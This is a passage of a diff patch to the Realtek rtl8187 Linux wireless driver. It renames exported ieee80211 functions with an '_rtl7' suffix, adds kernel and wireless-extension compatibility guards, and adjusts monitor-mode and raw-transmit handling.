ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_tx.c 2010-05-19 22:21:50.072722993 -0700 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,5 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); +EXPORT_SYMBOL(ieee80211_xmit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_wx.c 2010-05-19 22:18:51.982705602 -0700 @@ -40,8 +40,9 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, - char *start, char *stop, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, + char *start, char *stop, struct ieee80211_network *network) { char custom[MAX_CUSTOM_LEN]; @@ -54,7 +55,11 @@ iwe.cmd = SIOCGIWAP; iwe.u.ap_addr.sa_family = ARPHRD_ETHER; memcpy(iwe.u.ap_addr.sa_data, network->bssid, ETH_ALEN); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_ADDR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_ADDR_LEN); +#endif /* Remaining entries will be displayed in the order we provide them */ @@ -63,16 +68,28 @@ iwe.u.data.flags = 1; if (network->flags & NETWORK_EMPTY_ESSID) { iwe.u.data.length = sizeof(""); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, ""); +#else start = iwe_stream_add_point(start, stop, &iwe, ""); +#endif } else { iwe.u.data.length = min(network->ssid_len, (u8)32); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif } /* Add the protocol name */ iwe.cmd = SIOCGIWNAME; snprintf(iwe.u.name, IFNAMSIZ, "IEEE 802.11%s", ieee80211_modes[network->mode]); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_CHAR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_CHAR_LEN); +#endif /* Add mode */ iwe.cmd = SIOCGIWMODE; @@ -83,8 +100,13 @@ else iwe.u.mode = IW_MODE_ADHOC; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_UINT_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_UINT_LEN); +#endif } /* Add frequency/channel */ @@ -94,7 +116,11 @@ iwe.u.freq.m = network->channel; iwe.u.freq.e = 0; iwe.u.freq.i = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_FREQ_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_FREQ_LEN); +#endif /* Add encryption capability */ iwe.cmd = SIOCGIWENCODE; @@ -103,7 +129,11 @@ else iwe.u.data.flags = IW_ENCODE_DISABLED; iwe.u.data.length = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif /* Add basic and extended rates */ max_rate = 0; @@ -132,13 +162,22 @@ iwe.cmd = SIOCGIWRATE; iwe.u.bitrate.fixed = iwe.u.bitrate.disabled = 0; iwe.u.bitrate.value = max_rate * 500000; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_PARAM_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_PARAM_LEN); +#endif iwe.cmd = IWEVCUSTOM; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif /* Add quality statistics */ /* TODO: Fix these values... */ @@ -154,14 +193,22 @@ if (!(network->stats.mask & IEEE80211_STATMASK_SIGNAL)) iwe.u.qual.updated |= IW_QUAL_QUAL_INVALID; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_QUAL_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_QUAL_LEN); +#endif iwe.cmd = IWEVCUSTOM; p = custom; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif if (ieee->wpa_enabled && network->wpa_ie_len){ char buf[MAX_WPA_IE_LEN * 2 + 30]; @@ -175,7 +222,12 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif + } if (ieee->wpa_enabled && network->rsn_ie_len){ @@ -190,7 +242,11 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif } /* Add EXTRA: Age to display seconds since last beacon/probe response @@ -201,13 +257,17 @@ " Last beacon: %lums ago", (jiffies - network->last_scanned) / (HZ / 100)); iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +280,15 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, info, ev, +stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +309,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +321,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +346,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +356,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +379,7 @@ strcmp((*crypt)->ops->name, "WEP") != 